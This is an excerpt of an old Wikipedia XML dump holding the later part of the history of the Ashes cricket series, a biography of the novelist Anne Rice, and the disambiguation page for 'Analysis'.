After the war, however, Australia took firm control of both the Ashes and world cricket. They recorded thumping victories both in England and on home soil, and England only won one Test out of fifteen from the end of the war until 1925. In a rain-hit series in 1926, however, England managed to eke out a 1&amp;ndash;0 victory with a win in the final Test at the Oval, and despite the appearance of Donald Bradman, Australia could not win the next series either, losing 4&amp;ndash;1. Bradman won the next series almost by himself, however, as one of the best batting line-ups of all time began to form in the early 1930s, including Bradman himself, [[Stan McCabe]] and [[Bill Ponsford]]. It was the prospect of bowling at this line-up that caused England's captain [[Douglas Jardine]] to think up the [[Bodyline]] tactic.

===Bodyline===
{{main|Bodyline}}
[[Image:4th Test Fingleton.jpg|220px|right|thumb| [[Bill Woodfull]] evades a ball from [[Harold Larwood]] with [[Bodyline]] field settings.]]
In 1932, after Bradman's routing of the English team in the previous series, [[Douglas Jardine]] developed a tactic of instructing his [[fast bowling|fast bowlers]] to bowl at the bodies of the Australian batsmen, with the goal of forcing them to defend their bodies with their bats, and provide easy catches to a stacked [[leg side]] field. The tactic was descriptively dubbed Bodyline. Although this won England the Ashes, it caused such a furore in Australia that diplomats had to intervene to prevent serious harm to Anglo-Australian relations, and the [[Marylebone Cricket Club|MCC]] eventually changed the [[laws of cricket]] to prevent anyone from using the tactic again.

Jardine's comments summed up England's views: &quot;I've not travelled 6,000&amp;nbsp;miles to make friends. I'm here to win the Ashes.&quot;

On the batting-friendly [[pitch|wickets]] that prevailed in the late 1930s, most Tests up to the war still gave results, although many batting records were set in this era. [[Len Hutton]] scored 364 at [[The Oval]] to save a draw in the 1938 series, a world record [[innings]], while [[Jack Fingleton]] and Bradman set a sixth-wicket [[partnership (cricket)|partnership]] record of 346 runs in the Third Test at [[Melbourne Cricket Ground|Melbourne]] that stands to this day. The series were surprisingly competitive, though, considering England's desperation in the early 30s.

===''The Invincibles''===
{{main|The Invincibles (cricket)}}
Australia's first tour of England after [[World War II]], in 1948, was led by the 39-year-old Bradman in his last appearance representing Australia. His team has gone down in cricketing legend as ''[[The Invincibles (cricket)|The Invincibles]]'', as they played 36 matches including five Tests, and remained unbeaten on the tour. They won 27 matches, drawing only 9, including of course the 4&amp;ndash;0 Ashes series victory.

This series is also known for one of the most poignant moments in cricket history, as Bradman batted for Australia in the fifth Test at The Oval &amp;mdash; his last &amp;mdash; needing to score only 4 runs to maintain a career [[batting average]] of 100. [[Eric Hollies]] bowled him second ball for a duck, denying those 4 runs and sending Bradman into retirement with a career average of 99.94.

Australia gradually weakened after 1948, allowing England back into the fray in the early 1950s when they won three successive Ashes series, from 1953 to 1956 to be arguably the best Test side in the world at the time. A see-sawing series in 1956 also saw a record that will probably never be beaten:  the spinner [[Jim Laker|Jim Laker's]] monumental effort at [[Old Trafford (cricket)|Old Trafford]] when he bowled 68 of 191 overs to take nineteen out of twenty possible Australian wickets. Never has the phrase &quot;He won the match single-handedly&quot; been more appropriate. England's dominance was not to last, however. Australia thumped them 4&amp;ndash;0 when they next toured in 1958-59, having found a good bowler of their own in [[Richie Benaud]] who took 31 wickets in the 5-Test series. England failed to win any series during the 1960s, a period dominated by draws as teams found it more prudent to save face with a draw than risk losing. Of a total of 25 Ashes Tests playing during this decade, Australia won seven and England three.

In the first series of the 1970s, however, England managed to win 2&amp;ndash;0, much thanks to the efforts of [[Geoffrey Boycott]] who scored four fifties and three centuries in the series, but in the mid-1970s Australia regained ascendancy with fast bowler [[Dennis Lillee]] taking English wickets all too consistently. However, both teams had their victories, England enjoying an emphatic 5&amp;ndash;1 win in 1978-79 while Australia took a non-Ashes series (with the [[World Series Cricket|WSC]] players returning) 3&amp;ndash;0 a year later. Most would say that the two sides were evenly matched, but no one knew just how evenly they would be matched in the next one.

===Botham's Ashes===
Australia took a 1&amp;ndash;0 lead in the first two Tests of the 1981 series, and looked to make it 2&amp;ndash;0 in the third Test at Headingley when they forced England to follow-on 227 runs behind. Famously, an English bookmaker offered odds of 500&amp;ndash;1 for an English victory, and Australian players [[Dennis Lillee]] and [[Rod Marsh]] laid a small bet. This came back to haunt them as England, reduced to 135 for 7 wickets, produced a second innings of 356, [[Ian Botham]] scoring an unbeaten 149, and adding 221 for the last three wickets in partnerships with [[Graham Dilley]], [[Chris Old]] and their fast bowler [[Bob Willis]].  Chasing 130, Australia were dismissed for 111, with a devastating spell of 8&amp;ndash;43 by Willis giving England a miraculous victory by 18 runs.  Lillee and Marsh were reprimanded for betting on the outcome of a game, but not suspended.

The fourth Test at Edgbaston was a similarly inspired comeback victory for England. [[Ian Botham]] this time starred with the ball, taking five for 11, including a spell of five wickets for a solitary run, in Australia's second innings of 121 to give England victory by 29 runs. England also went on to win the fifth Test at Old Trafford to retain the Ashes&amp;nbsp;&amp;mdash; the sixth Test at the Oval was drawn.

===Australian dominance===
England were the better team of the early 1980s, although it was close:  Australia won the 1982-83 series, but England then took two victories in 1985 and 1986-87. After those wins, however, a period of extended Australian dominance began, and England did not win an Ashes series again until 2005. Australia won the 1989 series 4&amp;ndash;0, and an England side weakened by Test bans following the [[Mike Gatting|Gatting]] tour to apartheid [[South African cricket team|South Africa]] lost 3&amp;ndash;0 in 1990-91. The Australians underlined their superiority in the contest by winning the 1993, 1994-95, 1997, 1998-99 and 2001 series &amp;mdash; all by convincing margins.

Australia's record since 1989 has impacted upon the overall statistics between the two sides. Before the 1989 series began, Australia had won 36.9% of all Tests played against England, England 33.5% with 29.7% of matches ending in draws. Previous to the 2005 series, Australia had won 40.8% of all Tests, England 31% with 28.1% drawn.{{Ref|stats1}}

In the period between 1989 and the beginning of the 2005 series, the two sides had played 43 times. Australia winning 28 times, England 7 times, with 8 draws.{{Ref|stats2}}

===Steve Waugh's last Ashes===
{{main|England in Australia in 2002-3}}

After playing in nine successive Ashes series, the 2002-03 rubber was to be Australian captain [[Steve Waugh|Steve Waugh's]] last against England, and was to prove one of the most emphatic victories he enjoyed against the English. The series began with what many regard in hindsight as one of the worst captaincy decisions of all time, as [[Nasser Hussain]] won the toss for England in the first Test and sent Australia in to bat. By the end of the first day, Australia had amassed a staggering 364/2, and placed a stamp of authority on the series that would not be undone as they raced to victory by 384 runs. This was followed by two innings victories to Australia, and a fairly comfortable five-wicket win. England only managed to save some face with a 225-run victory in the final Test. 

The series' most memorable moment came on the second day of the Fifth Test at the [[Sydney Cricket Ground]]. Leading into the match Waugh had been heavily scrutinised by selectors and the media over his advancing age and lack of recent form, having not posted a Test century since 2001. As this was the last match of the series and last Test of the Australian summer, Waugh was likely to be dropped from the team if he failed again in this match. Asked before the match about the defining moment of a career likely to soon be over, Waugh predicted gamely &quot;It might be yet to come.&quot; In a stunning display of determination and defiance, he then fulfilled this prophesy by scoring a chanceless century on the second afternoon. He had entered the final over of the day on 95 not out, and hit a boundary off the last ball (bowled by English off spinner [[Richard Dawson (cricketer)|Richard Dawson]]) to bring up his ton. Waugh left the ground to an emotional standing ovation, his Test career saved. It came to be known as his 'Perfect Day'.

===The 2005 series===
{{main|The 2005 Ashes}}

England were undefeated in Test matches in the 2004 calendar year, which took the team to second in the [[LG ICC Test Championship]] and raised hopes that the [[The 2005 Ashes|2005 Ashes series]] would be closely fought. In fact, the series proved to be even more competitive than most commentators had predicted. 

The first Test was played at [[Lord's Cricket Ground|Lord's]] from [[21 July]] to [[24 July]], and was won convincingly by Australia by 239 runs. However, England fought back in the remaining four matches, which were all tense and closely fought.  The second Test, played at [[Edgbaston Stadium|Edgbaston]] from [[4 August]] to [[7 August]] was won by England by 2 runs, the smallest runs victory margin in Ashes history, and the second closest runs victory margin in all Tests.  The rain-affected third Test, played at [[Old Trafford (cricket)|Old Trafford]] from [[11 August]] to [[15 August]], ended with the final two Australian batsmen holding out to claim a draw. The fourth Test, played at [[Trent Bridge]] from [[25 August]] to [[28 August]], was won by England by three wickets after Australia was forced to [[follow on]] for the first time in 191 Tests.  England earned a draw at the fifth and final Test match, played at [[The Oval]] from [[8 September]] to [[12 September]], to win an Ashes series for the first time in 18 years.

From the start the 2005 Ashes series was played at a very high intensity and the tension did occasionally lead to mistakes on both sides with many dropped catches, run outs and other errors. Australia were unlucky with the injury to a key bowler [[Glenn McGrath]] (who missed the two matches when Australia was beaten) and the loss of form of others such as [[Jason Gillespie]], [[Adam Gilchrist]] and [[Matthew Hayden]], whereas England were able to pick the same eleven until [[Simon Jones (cricketer)|Simon Jones]] sustained an ankle injury midway through the Fourth Test, forcing him out of the series decider. However many consider the series to have been the most exciting in living memory, providing enthralling viewing to those lucky enough to get the very scarce tickets for the matches, or those watching on television. Respected commentator [[Richie Benaud]] is reported by BBC correspondent Bob Chaundry {{Ref|Benaud}} as having said: &quot;In the past two years, I've seen the best cricket I've ever watched. This current Ashes series shades even the great one of 1981.&quot;  

At the end of the series, [[Andrew Flintoff]] was awarded the inaugural [[Compton-Miller medal]] as the player of the series for his [[all-rounder|batting and bowling]] efforts. Flintoff was also chosen as &quot;Man of the Series&quot; by the Australian coach and his English counterpart chose [[Shane Warne]], who took 40 wickets in the five matches and batted skilfully down the order.

England will travel to Australia in the winter of 2006-2007 in the hope to retain the Ashes.

==Summary of results and statistics==
:''See also: [[List of Ashes series]] for a full listing of all the Ashes series since 1882.''
{{Ashes timeline}}
[[image:Ashesmatcheschart.png|thumb|200px|Chart of the matches won between the two sides.]]
A team must win a series to gain the right to hold the Ashes. A drawn series results in the previous holders retaining the Ashes. To date, a total of 62 Ashes series have been played with Australia winning 30, England winning 27. The remaining five series were drawn, with Australia retaining the Ashes four times and England retaining it once.

Ashes series have generally been played over five Test matches, although there have been four match series (1938; 1975) and six match series (1970-71; 1974-75; 1978-79; 1981; 1985; 1989; 1993 and 1997).  293 matches have been played, with Australia winning 115 times, England 92 times, and 86 draws.  Australians have made 264 [[century|centuries]] in Ashes Tests, twenty-three of them over 200, while Englishmen have scored 212 centuries, of which ten have been scores over 200. On 41 occasions, individual Australians have taken ten [[wicket]]s in a match. Englishmen have performed that feat 38 times.

==The Ashes today==
The Ashes is one of the most fiercely contested competitions in cricket today, rivalling the intensity of the other great international cricket rivalry between [[Indian cricket team|India]] and [[Pakistani cricket team|Pakistan]] . The failure of England to regain the Ashes for 16 years from 1989, coupled with the global dominance of the Australian team, had dulled the lustre of the series in recent years. But the close results in the [[The 2005 Ashes|2005 Ashes series]], and the overall high quality and competitiveness of the cricket, have boosted the popularity of the sport in Britain and considerably enhanced the profile of the Ashes around the world.  Whilst the tension of the matches has caused an occasional angry moment, the matches were generally played with good spirit, and [[sportsmanship]] of the players of both sides has been high, with commentators often highlighting [[Andrew Flintoff]] consoling [[Brett Lee]] at the end of the second Test as epitomising this. In interviews following the final match, players from both sides were quick to congratulate their opponents, both the individual players and the team as a whole.

==Match venues==
The series alternate between England and Australia, and within each country each of the (usually) five matches is held at a different [[List of Test cricket grounds|cricket ground]].

In '''Australia''', the grounds currently used are the [[Melbourne Cricket Ground]] (first staged an England-Australia Test in the 1876-77 season), the [[Sydney Cricket Ground]] (1881-82), [[Adelaide Oval]] (1884-85), [[Brisbane Cricket Ground|The Gabba]] (1932-33) and [[WACA|The WACA, Perth]] (1970-71). One Test was held at the [[Exhibition Ground|Brisbane Exhibition Ground]] in 1928-29.

In '''England''' the grounds used are [[The Oval]] (since 1880), [[Old Trafford (cricket)|Old Trafford]] (1884), [[Lord's Cricket Ground|Lord's]] (1884), [[Trent Bridge]] (1899), [[Headingley Stadium|Headingley]] (1899) and [[Edgbaston Stadium|Edgbaston]] (1902). One Test was held at [[Bramall Lane|Bramall Lane, Sheffield]] in 1902.

==The Ashes outside cricket==
The popularity and reputation of the cricket series has led to many other events taking the name for England against Australia contests.  The best-known and longest-running of these events is the [[rugby league]] contest between [[Great Britain national rugby league team|Great Britain]] and [[Australia national rugby league team|Australia]] (see [[Rugby League Ashes]]).  The contest first started in 1908, the name being suggested by the touring Australians.  Another example is in the British television show ''[[Gladiators]]'', where two series were based around the Australia&amp;ndash;England contest.

The trophy is also featured in the [[science-fiction]] [[comedy]] [[novel]] ''[[Life, the Universe and Everything]]'', the third &quot;[[Hitchhiker's Guide To The Galaxy]]&quot; book by [[Douglas Adams]].

In the cinema, the Ashes featured in the [[film]] ''The Final Test'', released in 1953, based on a television play by [[Terence Rattigan]].  It stars [[Jack Warner]] as an England cricketer playing the last Test of his career, which is the last of an Ashes series; the film contains cameo appearances from prominent contemporary Ashes cricketers including [[Jim Laker]] and [[Denis Compton]].

==See also==
*[[History of Test cricket (to 1883)]]
*[[History of Test cricket (1884 to 1889)]]
*[[History of Test cricket (1890 to 1900)]]
*[[Portal:Cricket]] &amp;mdash; for more coverage of all things Cricket.

==Notes==
# {{note|Terminology}} In 1998, Lord Darnley’s 82-year-old daughter-in-law said they were the remains of her mother-in-law’s veil, not a bail. Other evidence suggests a ball. The precise origin of the ashes, therefore, is the subject of some dispute.
# {{note|poem}} [http://www.334notout.com/ashes/ashbegin.htm Ashes &amp;mdash; The Beginning], [http://www.334notout.com/ 334 Not out]
#{{note|stats1}} Statistics obtained from Cricinfo at [http://stats.cricinfo.com/guru?sdb=team;team=AUS;class=testteam;filter=basic;opposition=ENG;notopposition=0;decade=0;homeaway=0;continent=0;country=0;notcountry=0;groundid=0;season=0;startdefault=1877-03-15;start=1877-03-15;enddefault=2005-03-29;end=2005-03-29;tourneyid=0;finals=0;daynight=0;toss=0;scheduledovers=0;scheduleddays=0;innings=0;followon=0;result=0;seriesresult=0;captainid=0;recent=;viewtype=summary;runslow=;runshigh=;wicketslow=;wicketshigh=;ballslow=;ballshigh=;overslow=;overshigh=;bpo=0;batevent=;conclow=;conchigh=;takenlow=;takenhigh=;ballsbowledlow=;ballsbowledhigh=;oversbowledlow=;oversbowledhigh=;bpobowled=0;bowlevent=;submit=1;.cgifields=viewtype]
#{{note|stats2}} Statistics obtained from Cricinfo at [http://stats.cricinfo.com/guru?sdb=team;team=AUS;class=testteam;filter=basic;opposition=ENG;notopposition=0;decade=0;homeaway=0;continent=0;country=0;notcountry=0;groundid=0;season=0;startdefault=1877-03-15;start=1877-03-15;enddefault=2005-03-29;end=2005-03-29;tourneyid=0;finals=0;daynight=0;toss=0;scheduledovers=0;scheduleddays=0;innings=0;followon=0;result=0;seriesresult=0;captainid=0;recent=;viewtype=series;runslow=;runshigh=;wicketslow=;wicketshigh=;ballslow=;ballshigh=;overslow=;overshigh=;bpo=0;batevent=;conclow=;conchigh=;takenlow=;takenhigh=;ballsbowledlow=;ballsbowledhigh=;oversbowledlow=;oversbowledhigh=;bpobowled=0;bowlevent=;submit=1;.cgifields=viewtype]
#{{note|Benaud}}Bob Chaundry (2005) &quot;So Long Sport&quot;, ''BBC News Magazine'' [online]&lt;br&gt; Available from: http://news.bbc.co.uk/1/hi/magazine/4227822.stm. [Accessed [[14 September]] [[2005]]].

 = = References = = 
* {{cite book | last = Birley | last = D. | year = 2003 | title = A Social History of English Cricket | location = London | publisher = Aurum Press | id = ISBN 1-85410-941-3 }}
* {{cite book | last = Frith | last = D. | year = 1990 | title = Australia versus England: a pictorial history of every Test match since 1877 | location = Victoria (Australia) | publisher = Penguin Books | id = ISBN 0-670-90323-X }}
* {{cite book | last = Gibb | last = J. | year = 1979 | title = Test cricket records from 1877 | location = London | publisher = Collins | id = ISBN 0-00411-690-9 }}
* {{cite book | last = Gibson | last = A. | year = 1989 | title = Cricket Captains of England | location = London | publisher = Pavilion Books | id = ISBN 1-85145-395-4 }}
* {{cite book | last = Green | last = B. | year = 1979 | title = Wisden Anthology 1864-1900 | location = London | publisher = M &amp; J/QA Press | id = ISBN 0-356-10732-9 }}
* {{cite book | last = Munns | last = J. | year = 1994 | title = Beyond reasonable doubt - Rupertswood, Sunbury - the birthplace of the Ashes | location = Australia | publisher = Joy Munns | id = ISBN 0-646-22153-1 }}
* {{cite book | last = Warner | last = P. | year = 1987 | title = Lord's 1787-1945 | location = London | publisher = Pavilion Books | id = ISBN 1-85145-112-9 }}
* {{cite book | last = Warner | last = P. | year = 2004 | title = How we recovered the Ashes : MCC Tour 1903-1904 | location = London | publisher = Methuen | id = ISBN 0-413-77399-X }}
* {{cite book | last = Wynne-Thomas | last = P. | year = 1989 | title = The complete history of cricket tours at home and abroad | location = London | publisher = Hamlyn | id = ISBN 0-600-55782-0 }}
'''Other'''
*''Wisden's Cricketers Almanack'' (various editions)

==External links==
{{wikiquote}}
{{portalpar|Cricket}}
*[http://www.abcofcricket.com/A_Legend_Is_Born/a_legend_is_born.htm Ashes Series, A Legend is Born]
*[http://www.cricinfo.com Cricinfo]
*[http://www.cricketarchive.com Cricket Archive]
*[http://www.games.telegraph.co.uk/sport/main.jhtml?view=DETAILS&amp;grid=&amp;xml=/sport/2005/04/23/smmix23.xml Six Curiosities from the MCC Museum, by Ricky Ponting in the Telegraph]
*[http://www.lawsonmenzies.com.au/pr15.html The Ashes Tray]
*[http://www.xan.co.uk/volume_28.php England Win The Ashes]Crowd sounds and interviews with supporters.  Recorded at The Oval, London, Monday, [[12 September]] [[2005]]

[[Category:Australian culture|Ashes, The]]
[[Category:British culture|Ashes, The]]
[[Category:Cricket in Australia|Ashes, The]]
[[Category:Cricket in England|Ashes, The]]
[[Category:History of cricket|Ashes, The]]
[[Category:International cricket competitions|Ashes]]
[[Category:The Ashes| ]]
[[Category:Australian sporting events|Ashes, The]]

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  <page>
    <title>Anne Rice</title>
    <id>1133</id>
    <revision>
      <id>42037562</id>
      <timestamp>2006-03-03T10:44:20Z</timestamp>
      <contributor>
        <username>KenL</username>
        <id>465210</id>
      </contributor>
      <comment>Added more info on her name.</comment>
      <text xml:space="preserve">[[Image:AC LgPic Gen2.jpg|thumb|Anne Rice]]
'''Anne Rice''' (born [[October 4]], [[1941]]) is a best-selling [[United States|American]] author of horror/fantasy books. She was born '''Howard Allen O'Brien''', the second daughter in a Catholic Irish-American family. Rice's works have had a major influence on the &quot;[[Goth]]&quot; movement, and she has also published a number of works with [[sado-masochistic]] themes. She was married to the late poet [[Stan Rice]] and is the mother of novelist [[Christopher Rice]]. Her daughter, Michele, was born on [[September 21]], [[1966]] and died of [[leukemia]] on [[August 5]] [[1972]]. Anne's sister, [[Alice Borchardt]], is also a noted genre author.

Rice was born and spent most of her life in [[New Orleans, Louisiana|New Orleans]], [[Louisiana]], the city that forms the background against which most of her stories take place.  About her unusual given name, Rice said: &quot;My birth name is Howard Allen because apparently my mother thought it was a good idea to name me Howard. My father's name was Howard, she wanted to name me after Howard, and she thought it was a very interesting thing to do. She was a bit of a Bohemian, a bit of mad woman, a bit of a genius, and a great deal of a great teacher. And she had the idea that naming a woman Howard was going to give that woman an unusual advantage in the world. &quot;
 
Anne became &quot;Anne&quot; on her first day of school, when a nun asked her what her name was. She blurted out &quot;Anne&quot; immediately, and her mother, who was with her, let it go without correcting her, knowing how self-conscious her daughter was of her real name

Known for her avid interest in art and culture, Anne and her family occasionally took trips overseas to study the art later mentioned in her stories. More recently, following the death of her husband Stan Rice, she has relocated to the [[Coachella Valley]], California area to be nearer her son, Christopher.  After spending most of her adult life as a self described [[atheist]], Rice returned to the [[Roman Catholic Church]] in 1998, and she is currently working on a trilogy about the life of [[Jesus]]. 

Rice has also published erotica under the [[pen name]]s '''Anne Rampling''' and '''A.N. Roquelaure''', the latter of which was used primarily for more adult-oriented material. Her fiction is often described as lush and descriptive, and her characters' sexuality is fluid, often displaying homoerotic feelings towards each other.  She also deals with philosophical and historic themes, weaving them in to the dense pattern of her books, and giving them a highly intellectual, if not highly literary, content.  To her admirers, Rice's books are among the best in modern [[popular fiction]], considered by some to possess those elements that create a lasting presence in the literary canon. To her critics, her novels are baroque, &quot;low-brow pulp&quot; and redundant.  

A critical analysis of Rice's work can be found in [[S. T. Joshi]]'s book ''The Modern Weird Tale'' (2001).

=== Conversion to a Christian Novelist===
In October of 2005, Rice announced in a [http://www.msnbc.msn.com/id/9785289/site/newsweek/ Newsweek article] that she would &quot;write only for the Lord&quot;.  Her first novel in the genre is called ''[[Christ the Lord: Out of Egypt]]'' and is the first in a trilogy that will chronicle the life of Christ.

===The Vampire Chronicles===
She completed her first book, ''[[Interview with the Vampire]]'', in 1973 and published it in 1976. 

''Interview with the Vampire'' can also be viewed as an example of [[psychedelic literature]]. Rice herself has denied ever having experimented with [[LSD]]. &quot;I'm a totally conservative person. In the middle of [[Haight-Ashbury]] in the 1960s, I was typing away while everybody was dropping acid and smoking grass. I was known as my own square.&quot; (''[[New York Times]]'', Nov 7, 1988) Her protagonist Louis, however, describes a heightened awareness after being transformed into a vampire which does mirror the LSD experience to some extent.

Rice has said that Claudia, the young girl in the book, was inspired by her late daughter.

===Film Adaptations===
In [[1994]], [[Neil Jordan]] directed a [[motion picture]] adaption of [[Interview with the Vampire]], based on the story, but with some minor changes. A second movie was later made, inspired by the second and third books in the original ''Vampire Chronicles'' series. The title was that of the third book, ''[[The Queen of the Damned]]''.  The storyline chosen by the producers of the second film is controversial among many fans of her books. Major plot points of both books were altered, and it has been rumoured that the second film's theatrical release was based solely on its producers' wish to capitalize on the death of [[Aaliyah]]. Another rumor being that [[Warner Bros.]] was already into its last year of owning motion picture rights to the first three [[The Vampire Chronicles|Vampire Chronicles]] books, which would then have transferred back to author Anne Rice once this period was over. Once back in her ownership, she could then sell the rights to another company of her choosing. Knowing what little time they had left, despite the fact they've had the rights and opportunity to make the latter two movies for over seven years, Warner Bros. hastily hired writers to condense the books &quot;''[[The Vampire Lestat]]''&quot; and &quot;''[[The Queen of the Damned]]''&quot; into one movie in order to profit from their initial rights purchase.

A film named ''Exit to Eden'' based loosely on Rice's book of the same name starred [[Rosie O'Donnell]] and [[Dan Aykroyd]].  The plot was seriously altered, with the work transformed from a love story into a police comedy, possibly due to the explicit [[S&amp;M]] nature of the book. 

===Health===
Rice has Type 1 [[diabetes]]. This was discovered when she went into a [[diabetic coma]] in December 1998. She is an advocate for people to get tested for diabetes. Because of a lifelong battle with her weight as well as depression due to the long illness and subsequent death of her husband, Rice's weight ballooned to 254 pounds. Tired of dealing with [[sleep apnea]], limited mobility, and other weight-related problems, she had [[gastric bypass]] surgery on [[January 15], [[2003]].

===Leaving New Orleans===

On [[ January 30]], [[2004]] Rice announced her plans to leave New Orleans to move the suburb of [[Jefferson Parish, Louisiana]]. She had already put the largest of her three homes in [[Uptown New Orleans]] up for sale, and plans to sell the other two. She cited living alone since the death of her husband and her son's moving out of state as the reasons. &quot;Simplifying my life, not owning so much, that's the chief goal&quot;, said Rice. &quot;I'll no longer be a citizen of New Orleans in the true sense.&quot; 

In spring 2005 Anne Rice moved to [[La Jolla]], [[California]]. She calls her new home &quot;Paradise West&quot;. Some have speculated that Rice also wished for more privacy from the constant attentions of her fans, who were known to camp out in front of her house. Sometimes, up to 200 or more would gather to see her leave for [[church]] on Sundays. 

===Fanfiction Stance===

Rice is very adamant about preventing any [[fan fiction]] of her books-- on [[April 7]], [[2000]], she released a statement on her website that prohibited all fanfiction involving her work. This caused the removal of thousands of fanfics from the popular [[Fanfiction.Net]] website.

===Amazon incident===
On [[September 6]], [[2004]], Rice posted a reply to a number of negative reviews that had appeared on [[Amazon.com]] regarding ''[[Blood Canticle]]''. She titled her reply, [http://www.amazon.com/gp/community-content-search/document/102-0196178-4104136?%5Fencoding=UTF8&amp;documentId=R1FLRHCYSK13PB&amp;index=community-reviews-realtime&amp;query=ASIN%3A037541200X%20from%20the%20author%20to &quot;From the Author to the Some of the Negative Voices Here.&quot;]  This post generated a great deal of publicity online -- partly because authors rarely post or respond to reviews on Amazon, and partly because of the tone and nature of her text. Many previous reviews had criticized the quality of writing in ''Blood Canticle'' as lazy or shoddy; so when Rice replied by posting a 1,200-word paragraph wherein she proudly dismisses the utility of editors, the incident became fodder for [[weblog]]s and [[Internet]] sites.

===Books===
'''[[The Vampire Chronicles]]:'''
*''[[Interview with the Vampire]]'' (1976)
*''[[The Vampire Lestat]]'' (1985)
*''[[The Queen of the Damned]]'' (1988)
*''[[The Tale of the Body Thief]]'' (1992)
*''[[Memnoch The Devil]]'' (1995)
*''[[The Vampire Armand]]'' (1998)
*''[[Merrick (novel)|Merrick]]'' (2000)
*''[[Blood and Gold]]'' (2001)
*''[[Blackwood Farm]]'' (2002)
*''[[Blood Canticle]]'' (2003)

'''[[New Tales of the Vampires]]:''' ''(Other vampire tales that are not within the main sequence, but in the same fictional world)''
*''[[Pandora (book)|Pandora]]'' (1998)
*''[[Vittorio the Vampire]]'' (1999)

'''[[The Mayfair Witches|Lives of The Mayfair Witches]]:'''
*''[[The Witching Hour]]'' (1990)
*''[[Lasher]]'' (1993)
*''[[Taltos]]'' (1994)

'''Single Novels:'''
*''[[The Feast of All Saints]]'' (1979)
*''[[Cry to Heaven]]'' (1982)
*''[[The Mummy (novel)|The Mummy]]'', or ''Ramses the Damned'' (1989)
*''[[Servant of the Bones]]'' (1996)
*''[[Violin (book)|Violin]]'' (1997)

'''The Christ Series:'''
*''[[Christ the Lord: Out of Egypt]]'' (2005) - Anne has suggested that there will be three sequels to this work

'''Short Fiction:'''
*''October 4th, 1948''
*''Nicholas and Jean''
*''The Master of Rampling Gate'' (Vampire Story)

'''Work written under the pseudonym Anne Rampling:'''
*''[[Exit to Eden]]'' (1985)
*''[[Belinda (Anne Rice novel)|Belinda]]'' (1986)

'''Erotica written under the pseudonym A. N. Roquelaure:'''
*''[[The Claiming of Sleeping Beauty]]'' (1983)
*''[[The Claiming of Sleeping Beauty|Beauty's Punishment]]'' (1984)
*''[[The Claiming of Sleeping Beauty|Beauty's Release]]'' (1985)

== See also ==
* [[List of bestselling novels in the United States]]

==External links==
{{wikiquote}}
*[http://www.annerice.com Anne Rice's official website]
*[http://www.amazon.com/gp/cdp/member-reviews/AB4F6UHL20U95/ Reviews written by Anne Rice on amazon.com]
*[http://www.amazon.com/exec/obidos/tg/detail/-/0375412018 Anne Rice's new book ''Christ the Lord: Out of Egypt'']
*[http://wiredforbooks.org/annerice/ Two audio interviews (1985 and 1988) of Anne Rice by Don Swaim of CBS Radio - RealAudio]
*[http://www.nytimes.com/2005/09/04/opinion/04rice.html?ei=5090&amp;en=ce2f33f8719dba9c&amp;ex=1283486400&amp;partner=rssuserland&amp;emc=rss&amp;pagewanted=print Anne Rice: Do You Know What It Means to Lose New Orleans?] (regarding Hurricane Katrina)
*[http://www.twoop.com/people/archives/2005/10/anne_rice.html Anne Rice Timeline]
*[http://www.freeinfosociety.com/site.php?postnum=605 Bio and Pictures]

[[Category:1941 births|Rice, Anne]]
[[Category:Living people|Rice, Anne]]
[[Category:American fantasy writers|Rice, Anne]]
[[Category:American horror writers|Rice, Anne]]
[[Category:Irish-Americans|Rice, Anne]]
[[Category:New Orleanians|Rice, Anne]]
[[Category:People opposed to fan fiction|Rice, Anne]]
[[Category:Roman Catholic writers|Rice, Anne]]

[[bg:Ан Райс]]
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[[ja:アン・ライス]]
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[[sv:Anne Rice]]</text>
    </revision>
  </page>
  <page>
    <title>Analysis</title>
    <id>1134</id>
    <revision>
      <id>40763791</id>
      <timestamp>2006-02-22T21:39:46Z</timestamp>
      <contributor>
        <username>KSchutte</username>
        <id>295931</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|analysis}}

'''Analysis''' generally means ''the action of taking something apart in order to study it.''

It may refer to:

In '''philosophy''':
* [[Philosophical analysis]], a general term for the techniques used by philosophers
* ''[[Analysis (journal)|ANALYSIS]]'' is the name of a prominent journal in philosophy.

In '''mathematics''':
* [[Mathematical analysis]], the generic name given to any branch of mathematics which depends upon the concepts of limits and convergence
** [[Complex analysis]]
** [[Functional analysis]]
** [[Harmonic analysis]]
** [[Non-standard analysis]]
** [[Real analysis]]

In '''statistics''':
* [[Analysis of variance]], a collection of statistical models and their associated procedures which compare means by splitting the overall observed variance into different parts
* [[Meta-analysis]], combines the results of several studies that address a set of related research hypotheses
* [[Time-series analysis]], methods that attempt to understand a sequence of data points spaced apart at uniform time intervals

In '''computer science''':
* [[Analysis of algorithms]]
* [[Competitive analysis]], shows how on-line algorithms perform and demonstrates the power of randomization in algorithms
* [[Computer program analysis]], the process of automatically analysing the behavior of computer programs
* [[Lexical analysis]], the process of procesing an input sequence of characters and producing as output a sequence of symbols
* [[Numerical analysis]], the study of algorithms for the problems of continuous mathematics
* [[Object-oriented analysis and design]], ala Booch
* [[Semantic analysis (computer science)]]
* [[Static code analysis]], the analysis of computer software that is performed without actually executing programs built from that software
* [[Structured Systems Analysis and Design Methodology]], ala Yourdon
* [[Syntax analysis]], a process in compilers that recognizes the structure of programming languages, also known as parsing

In '''music''':
* [[Musical analysis]], a process attempting to answer the question &quot;how does this music work?&quot;
** [[Schenkerian analysis]]

In '''psychotherapy''':
* [[Psychoanalysis]], seeks to elucidate connections among unconscious components of patients' mental processes
** [[Transactional analysis]]

In '''cryptography''':
* [[Cryptanalysis]], the study of methods for obtaining the meaning of encrypted information
* [[Frequency analysis]], a method to decompose a function, wave, or signal into its frequency components

In '''economics''':
* [[Financial analysis]], the analysis of the accounts and the economic prospects of a firm
* [[Fundamental analysis]], a stock valuation method that uses financial analysis 
* [[Principal components analysis]], a technique that can be used to simplify a dataset
* [[Technical analysis]], the study of price action in securities markets in order to forecast future prices

In '''linguistics''':
* [[Discourse analysis]], a general term for the analysis of language use above the sentence or clause level
* [[Semantic analysis (linguistics)]], the process of unpacking clause, sentence and paragraph structure
* [[Voice analysis]], the study of speech sounds for purposes other than linguistic content

In '''signal processing''':
* [[Finite element analysis]], a computer simulation technique used in engineering analysis
* [[Independent component analysis]]
* [[Link quality analysis]], the analysis of signal quality
* [[Path quality analysis]]

In '''literary criticism''':
* [[Analysis (Homer)]], an influential school of thought in Homeric scholarship in the 19th-20th centuries

It may also refer to:
* [[Aura analysis]], a technique in which supporters of the method claim that the body's aura, or energy field is &quot;analyzed&quot;
* [[Bowling analysis]], a notation summarising a cricket bowler's performance
* [[Category analysis]]
